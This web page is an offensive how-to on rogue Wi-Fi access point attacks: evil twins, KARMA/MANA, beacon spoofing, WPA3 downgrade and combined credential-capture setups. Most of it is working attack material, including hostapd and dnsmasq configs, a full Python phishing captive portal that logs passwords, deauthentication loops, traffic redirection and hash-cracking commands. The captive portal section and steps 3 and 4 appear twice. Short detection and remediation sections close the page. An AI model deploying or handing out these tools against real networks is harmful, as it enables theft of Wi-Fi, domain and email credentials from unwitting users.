top of page

Hacking With Rogue Access Points (APs) (Guide)

Hacking With Rogue Access Points (APs) (Guide) | Black Hat HQ

Hacking With Rogue Access Points (APs)


Rogue APs are the most reliable wireless attack vector in corporate pentesting. Clients trust what they know, and they'll connect to an AP broadcasting the SSID they're looking for. Here's the full operational guide on hacking with rogue access points (APs).


The Attack Types


Rogue AP Type

What It Does

Best For

Open Evil Twin

Same SSID, no encryption

Captive portal credential harvesting

Enterprise Evil Twin

Same SSID, EAP/802.1X

Harvesting domain creds (hostapd-wpe)

KARMA/MANA

Responds to all probe requests

Catching every device that walks past

WPA2-PSK Evil Twin

Same SSID with PSK

Downgrade + handshake capture (WPA3→WPA2)

Known Beacon

Broadcasts a known-previous SSID

Reconnecting devices that trust the network

Captive Portal

Web auth that harvests creds

Phishing WiFi passwords, email creds, 2FA


Hardware Setup


You need a card that supports AP mode and monitor mode simultaneously (two interfaces, or two cards).


Option A: Single Card (Virtual Interfaces)


Some chipsets support creating a monitor VIF alongside an AP VIF:


  • MT76x2U (Alfa AWUS036ACM) — yes, this works

  • AR9271 (Alfa AWUS036NHA) — yes, stable

  • RTL88x2AU — hit or miss, test first


bash

# Create monitor interface alongside the managed one
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo ip link set wlan0mon up

Option B: Two Cards (Reliable)


  • Card 1: AP mode, runs hostapd or airbase-ng

  • Card 2: Monitor mode, handles deauth/capture

This is the production-reliable setup.


Option C: Built-in + USB


  • Built-in laptop WiFi: connects to internet (upstream)

  • USB WiFi adapter: runs the rogue AP


Setup 1: Open Evil Twin (Credential Harvesting)


The classic. Broadcast "CorpWiFi" or "GuestWiFi" with no encryption. Users connect, get a captive portal. Portal captures credentials.


Step 1: Create the AP with hostapd


bash

sudo apt install hostapd dnsmasq

# hostapd.conf
cat > rogue_open.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=CorpWiFi-Guest
hw_mode=g
channel=6
auth_algs=1        # Open system
wmm_enabled=1
EOF

# dnsmasq.conf (DHCP server for clients)
cat > dnsmasq_rogue.conf << 'EOF'
interface=wlan1
dhcp-range=10.0.0.50,10.0.0.150,12h
dhcp-option=3,10.0.0.1         # Gateway = us
dhcp-option=6,10.0.0.1         # DNS = us
address=/#/10.0.0.1            # Catch-all DNS — every domain resolves to us
no-resolv
log-queries
EOF

# Start
sudo ip addr add 10.0.0.1/24 dev wlan1
sudo ip link set wlan1 up
sudo hostapd rogue_open.conf &
sudo dnsmasq -C dnsmasq_rogue.conf

Step 2: Captive Portal


Any HTTP request redirects to your credential harvesting page.


python

#!/usr/bin/env python3
"""
Captive portal for rogue AP credential harvesting.
Intercepts all HTTP traffic, serves fake login page.
Captures credentials to file.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import parse_qs, urlparse
import socket
import threading
import datetime

PORT = 80
LOG_FILE = "harvested_creds.txt"

LOGIN_PAGE = """
<!DOCTYPE html>
<html>
<head><title>WiFi Authentication Required</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
  body { font-family: Arial; background: #f0f0f0; display: flex;
         justify-content: center; align-items: center; height: 100vh; margin:0; }
  .box { background: white; padding: 30px; border-radius: 8px;
         box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width:400px; width:100%; }
  h2 { color: #333; margin-top:0; }
  input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd;
          border-radius: 4px; box-sizing: border-box; }
  button { width: 100%; padding: 12px; background: #0078d4; color: white;
           border: none; border-radius: 4px; font-size: 16px; cursor: pointer; }
  button:hover { background: #005a9e; }
  .logo { text-align: center; margin-bottom: 20px; font-size:48px; }
</style>
</head>
<body>
<div class="box">
  <div class="logo">&#128274;</div>
  <h2>WiFi Authentication Required</h2>
  <p>Please enter your credentials to connect to this network.</p>
  <form method="POST" action="/login">
    <input type="text" name="username" placeholder="Username" required autofocus>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Connect</button>
  </form>
</div>
</body>
</html>
"""

SUCCESS_PAGE = """
<!DOCTYPE html>
<html>
<head><title>Connected</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
  body { font-family: Arial; background: #f0f0f0; display: flex;
         justify-content: center; align-items: center; height: 100vh; margin:0; }
  .box { background: white; padding: 30px; border-radius: 8px; text-align: center;
         box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
  h2 { color: #28a745; }
</style>
</head>
<body>
<div class="box">
  <h2>&#10003; Connected</h2>
  <p>You are now connected. You may close this page.</p>
</div>
</body>
</html>
"""


class PortalHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        # Log to our file instead of stderr
        pass

    def log_cred(self, username, password, client_ip):
        timestamp = datetime.datetime.now().isoformat()
        entry = f"[{timestamp}] IP: {client_ip} | User: {username} | Pass: {password}"
        print(f"\n[!] CREDENTIALS CAPTURED: {entry}")
        with open(LOG_FILE, "a") as f:
            f.write(entry + "\n")

    def do_GET(self):
        client_ip = self.client_address[0]

        # Serve login page for any GET request
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(LOGIN_PAGE.encode())

    def do_POST(self):
        client_ip = self.client_address[0]
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length).decode("utf-8")
        params = parse_qs(body)

        username = params.get("username", ["UNKNOWN"])[0]
        password = params.get("password", ["UNKNOWN"])[0]

        self.log_cred(username, password, client_ip)

        # Serve success page
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(SUCCESS_PAGE.encode())


def main():
    print(f"""
╔══════════════════════════════════════╗
║     CAPTIVE PORTAL — ROGUE AP        ║
║     Credentials → {LOG_FILE}      ║
╚══════════════════════════════════════╝
    """)
    print(f"[*] Starting on port {PORT}")
    print(f"[*] Redirect all DNS to this IP via dnsmasq")
    print(f"[*] Press Ctrl+C to stop\n")

    server = HTTPServer(("0.0.0.0", PORT), PortalHandler)
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Shutting down...")
        server.shutdown()
        print(f"[*] Credentials saved to {LOG_FILE}")


if __name__ == "__main__":
    main()

Step 3: Redirect All HTTP to Your Portal


bash

# iptables — capture all HTTP and send to your portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT \
  --to-destination 10.0.0.1:80
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j DNAT \
  --to-destination 10.0.0.1:80

Step 4: Deauth Clients From the Real AP


Now force clients off the legitimate network so they connect to yours:


bash

# Scan for the real AP
sudo airodump-ng wlan0mon

# Deauth all clients from the real CorpWiFi
sudo aireplay-ng -0 0 -a REAL_AP_MAC wlan0mon
# -0 0: unlimited deauth

# Or targeted: only specific clients
sudo aireplay-ng -0 5 -a REAL_AP_MAC -c CLIENT_MAC wlan0mon

Step 2: Captive Portal


Any HTTP request redirects to your credential harvesting page.


python

#!/usr/bin/env python3
"""
Captive portal for rogue AP credential harvesting.
Intercepts all HTTP traffic, serves fake login page.
Captures credentials to file.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import parse_qs, urlparse
import socket
import threading
import datetime

PORT = 80
LOG_FILE = "harvested_creds.txt"

LOGIN_PAGE = """
<!DOCTYPE html>
<html>
<head><title>WiFi Authentication Required</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
  body { font-family: Arial; background: #f0f0f0; display: flex;
         justify-content: center; align-items: center; height: 100vh; margin:0; }
  .box { background: white; padding: 30px; border-radius: 8px;
         box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width:400px; width:100%; }
  h2 { color: #333; margin-top:0; }
  input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd;
          border-radius: 4px; box-sizing: border-box; }
  button { width: 100%; padding: 12px; background: #0078d4; color: white;
           border: none; border-radius: 4px; font-size: 16px; cursor: pointer; }
  button:hover { background: #005a9e; }
  .logo { text-align: center; margin-bottom: 20px; font-size:48px; }
</style>
</head>
<body>
<div class="box">
  <div class="logo">&#128274;</div>
  <h2>WiFi Authentication Required</h2>
  <p>Please enter your credentials to connect to this network.</p>
  <form method="POST" action="/login">
    <input type="text" name="username" placeholder="Username" required autofocus>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Connect</button>
  </form>
</div>
</body>
</html>
"""

SUCCESS_PAGE = """
<!DOCTYPE html>
<html>
<head><title>Connected</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
  body { font-family: Arial; background: #f0f0f0; display: flex;
         justify-content: center; align-items: center; height: 100vh; margin:0; }
  .box { background: white; padding: 30px; border-radius: 8px; text-align: center;
         box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
  h2 { color: #28a745; }
</style>
</head>
<body>
<div class="box">
  <h2>&#10003; Connected</h2>
  <p>You are now connected. You may close this page.</p>
</div>
</body>
</html>
"""


class PortalHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        # Log to our file instead of stderr
        pass

    def log_cred(self, username, password, client_ip):
        timestamp = datetime.datetime.now().isoformat()
        entry = f"[{timestamp}] IP: {client_ip} | User: {username} | Pass: {password}"
        print(f"\n[!] CREDENTIALS CAPTURED: {entry}")
        with open(LOG_FILE, "a") as f:
            f.write(entry + "\n")

    def do_GET(self):
        client_ip = self.client_address[0]

        # Serve login page for any GET request
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(LOGIN_PAGE.encode())

    def do_POST(self):
        client_ip = self.client_address[0]
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length).decode("utf-8")
        params = parse_qs(body)

        username = params.get("username", ["UNKNOWN"])[0]
        password = params.get("password", ["UNKNOWN"])[0]

        self.log_cred(username, password, client_ip)

        # Serve success page
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(SUCCESS_PAGE.encode())


def main():
    print(f"""
╔══════════════════════════════════════╗
║     CAPTIVE PORTAL — ROGUE AP        ║
║     Credentials → {LOG_FILE}      ║
╚══════════════════════════════════════╝
    """)
    print(f"[*] Starting on port {PORT}")
    print(f"[*] Redirect all DNS to this IP via dnsmasq")
    print(f"[*] Press Ctrl+C to stop\n")

    server = HTTPServer(("0.0.0.0", PORT), PortalHandler)
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Shutting down...")
        server.shutdown()
        print(f"[*] Credentials saved to {LOG_FILE}")


if __name__ == "__main__":
    main()

Step 3: Redirect All HTTP To Your Portal


bash

# iptables — capture all HTTP and send to your portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT \
  --to-destination 10.0.0.1:80
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j DNAT \
  --to-destination 10.0.0.1:80

Step 4: Deauth Clients From The Real AP


Now force clients off the legitimate network so they connect to yours:


bash

# Scan for the real AP
sudo airodump-ng wlan0mon

# Deauth all clients from the real CorpWiFi
sudo aireplay-ng -0 0 -a REAL_AP_MAC wlan0mon
# -0 0: unlimited deauth

# Or targeted: only specific clients
sudo aireplay-ng -0 5 -a REAL_AP_MAC -c CLIENT_MAC wlan0mon

Setup 2: Enterprise Evil Twin (Domain Credential Harvesting)


This is the most devastating rogue AP attack in corporate environments. hostapd-wpe terminates EAP at the server-hello and harvests challenge/response material.


bash

sudo apt install hostapd-wpe

# Config
cat > rogue_eap.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=CorpWiFi
channel=11
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
EOF

# Launch
sudo hostapd-wpe rogue_eap.conf

What happens:


When a client connects, hostapd-wpe captures:


  1. Username — in plaintext from the EAP identity response

  2. Challenge/Response — MSCHAPv2 or EAP-PEAP inner credentials

  3. NetNTLMv1 hash — crackable with hashcat


bash

# Output appears on stdout and in /usr/local/etc/hostapd-wpe/
# Format:
# username: jdoe
# challenge: a1b2c3d4...
# response: e5f6a7b8...

# Crack MSCHAPv2
hashcat -m 14000 mschapv2.hash /usr/share/wordlists/rockyou.txt

# Crack NetNTLMv1
hashcat -m 5500 netntlm.hash /usr/share/wordlists/rockyou.txt

Even better: Some clients auto-submit machine credentials when they see a known enterprise SSID. You get domain machine accounts without any user interaction.


Full Automation Script


bash

#!/bin/bash
# Rogue EAP — full automation
# Starts hostapd-wpe, dnsmasq, deauth loop

IFACE_AP="wlan1"
IFACE_MON="wlan0mon"
SSID="CorpWiFi"
CHANNEL="11"
REAL_BSSID=""  # Fill in after recon

# Start EAP rogue AP
hostapd-wpe /path/to/rogue_eap.conf &
HOSTAPD_PID=$!

# DHCP/DNS for clients
ip addr add 10.0.1.1/24 dev $IFACE_AP
dnsmasq -i $IFACE_AP --dhcp-range=10.0.1.50,10.0.1.150,12h \
  --dhcp-option=3,10.0.1.1 --dhcp-option=6,10.0.1.1 &

# Deauth from real AP (if BSSID known)
if [ -n "$REAL_BSSID" ]; then
    while true; do
        aireplay-ng -0 5 -a $REAL_BSSID $IFACE_MON
        sleep 30
    done &
fi

echo "[*] Rogue EAP running on $SSID"
echo "[*] Press Ctrl+C to stop"
wait $HOSTAPD_PID

Setup 3: KARMA / MANA - Catch Everything


KARMA responds "yes" to every probe request. A laptop walking past broadcasting "HomeWiFi" and "StarbucksWiFi" will connect to your rogue AP automatically if it sees a response to either.


hostapd-mana (Kali)


bash

sudo apt install hostapd-mana

cat > mana.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=1

# MANA/KARMA settings
mana_enable=1
mana_credout=/tmp/mana.creds
mana_eapsuccess=1
mana_wpe=1
EOF

sudo hostapd-mana mana.conf

What this does:


  • Probes for "HomeWiFi" → mana responds as "HomeWiFi"

  • Probes for "StarbucksWiFi" → mana responds as "StarbucksWiFi"

  • Probes for "CorpWiFi" → mana responds as "CorpWiFi" (with EAP)

  • Client connects to whatever it was looking for

  • Credentials logged to /tmp/mana.creds


BetterCap (Simpler KARMA)


bash

sudo bettercap -eval "
  set wifi.ap.ssid FreeWiFi;
  set wifi.ap.channel 1;
  set wifi.karma.enabled true;
  wifi.recon on;
  wifi.ap on;
"

Setup 4: Known Beacon Attack


Instead of responding to probes (KARMA), you broadcast beacons for SSIDs you've collected from probe requests:


bash

# 1. Collect probe requests from nearby devices
sudo airodump-ng wlan0mon --output-format csv -w probes
# Check probes-01.csv for SSIDs clients are searching for

# 2. Generate beacons for those SSIDs
sudo mdk4 wlan1 b -s 500 -c 1,6,11 -v probes.txt
# -s 500: transmit rate
# -c 1,6,11: channels
# -v probes.txt: SSID list

# 3. Or via hostapd with multiple BSS
# hostapd supports up to 8 virtual BSS with multi-SSID beaconing

Setup 5: WPA3-to-WPA2 Downgrade Rogue AP


The target is a WPA3 Transition Mode network. You broadcast the same SSID as WPA2-only:


bash

cat > downgrade_ap.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=TargetWPA3Network
hw_mode=g
channel=6
wpa=2
wpa_passphrase=anypassword123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
EOF

sudo hostapd downgrade_ap.conf

# In another terminal: deauth from the real WPA3 AP
sudo aireplay-ng -0 0 -a REAL_WPA3_BSSID wlan0mon

# Clients reconnect to your WPA2 AP instead
# They complete a WPA2 handshake (which you capture)
# Crack the PSK with hashcat (mode 22000)

Clients don't get a TLS certificate mismatch warning because they never expected a certificate in the first place (PSK mode). This bypasses WPA3's brute-force protections entirely.


Setup 6: The Full Rogue AP Framework (EAPHammer)


For engagements where you need everything automated:


bash

git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer
./kali-setup

# Attack 1: Credential harvesting + captive portal
./eaphammer -i wlan1 --essid CorpWiFi --channel 6 \
  --auth open --captive-portal --wpa 2

# Attack 2: EAP credential harvesting
./eaphammer -i wlan1 --essid CorpWiFi --channel 6 \
  --auth wpa-eap --wpa 2

# Attack 3: KARMA
./eaphammer -i wlan1 --karma --mana

# Attack 4: Known beacon list
./eaphammer -i wlan1 --known-beacons --known-ssids ./ssid_list.txt

EAPHammer automates the deauth loop, captive portal, DNS hijacking, and credential logging in a single tool.


Setup 7: BLE/Bluetooth Rogue


Not WiFi, but the same concept in a different band:


bash

# Flipper Zero
Apps → Bluetooth → BLE Spam
# Select target device type
# Floods BLE advertisements
# Nearby devices that auto-connect to known BLE peripherals
# may connect to the Flipper

# GATTacker — BLE rogue peripheral
git clone https://github.com/securing/gattacker
cd gattacker
npm install

# ws-slave: mimics a BLE device
node ws-slave.js -d "iPhone" -s dae0

# central: connects to the target, replays the GATT server
# Harvests data the target device sends

The Multi-Layer Attack


For maximum impact, combine rogue AP with other techniques:


bash

# Terminal 1: Rogue AP serving captive portal
sudo hostapd-mana mana.conf

# Terminal 2: DNS spoofing — specific domains to specific phishing pages
sudo python3 spoofer.py -i wlan1 --dns --redirect 10.0.0.1 \
  -d login.microsoftonline.com \
  -d accounts.google.com \
  -d vpn.corp.local

# Terminal 3: Responder capturing NTLM hashes
sudo responder -I wlan1 -w -v -F

# Terminal 4: mitm6 for IPv6 DNS takeover
sudo mitm6 -i wlan1

# Terminal 5: Bettercap for HTTP/HTTPS transparent proxy
sudo bettercap -eval "http.proxy on; https.proxy on; net.sniff on"

# Terminal 6: Deauth from real APs
sudo aireplay-ng -0 0 -a REAL_CORP_AP wlan0mon

What you capture from this setup:


  • WiFi passwords (captive portal)

  • Email credentials (DNS spoof → phishing page)

  • NTLMv2 hashes (Responder)

  • Domain machine account hashes (mitm6 + WPAD)

  • HTTP traffic in cleartext (BetterCap)

  • Cookies and session tokens (BetterCap HTTPS proxy with user accepting cert warning)


Defense Testing - What The Blue Team Should Catch


Detection Signal

What to Check

Sudden deauth flood

WIDS/WIPS should flag mass deauth packets

Duplicate SSID on different channel

Wireless monitoring detects same ESSID on two BSSIDs

New MAC broadcasting known SSID

MAC not in authorized AP list

Open network with enterprise SSID name

"CorpWiFi" shouldn't be open

Rogue DHCP server

DHCP snooping on switches, 802.1X on switch ports

Certificate mismatch

Clients should validate RADIUS server certificate for EAP

DNS sinkhole

DNS queries for known-good domains returning unusual IPs

Captive portal detection

Endpoint checking for captive portal behavior (captive.apple.com, etc.)


Reporting Template


markdown

## Finding: Rogue Access Point Attack Successful

**Attack Type**: [Open Evil Twin / Enterprise Evil Twin / KARMA / Downgrade]
**Target SSID**: CorpWiFi
**Rogue AP Hardware**: Alfa AWUS036ACM + hostapd-mana
**Duration of Attack**: [X] minutes
**Clients Connected**: [X] devices

**Credentials Harvested**:
- WiFi Pre-Shared Key: [password] (via captive portal)
- Domain Username: corp\jdoe (via hostapd-wpe EAP)
- NTLMv2 Challenge/Response: [crackable with hashcat]
- Email Credentials: jdoe@corp.com:Summer2025! (via phishing portal)

**Root Cause**:
- 802.11 management frames unauthenticated (no 802.11w/PMF)
- Clients not performing RADIUS server certificate validation
- No WIPS/WIDS deployment
- No 802.1X on wired ports (rogue AP could provide internet)

**CVSS**: 9.0 (AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

**Remediation**:
1. Enable 802.11w (Protected Management Frames) — prevents deauth
2. Deploy WIPS — detects rogue APs, deauth floods, duplicate SSIDs
3. Configure EAP clients for server certificate validation
4. Implement 802.1X on all switch ports to prevent unauthorized
   DHCP/DNS/gateway
5. Enable Certificate Pinning for corporate SSIDs via MDM
6. Train users: never enter credentials into WiFi captive portals
   they don't recognize

Enroll Now In Online Learning Cybersecurity & Hacking Classes/Courses

Comments


bottom of page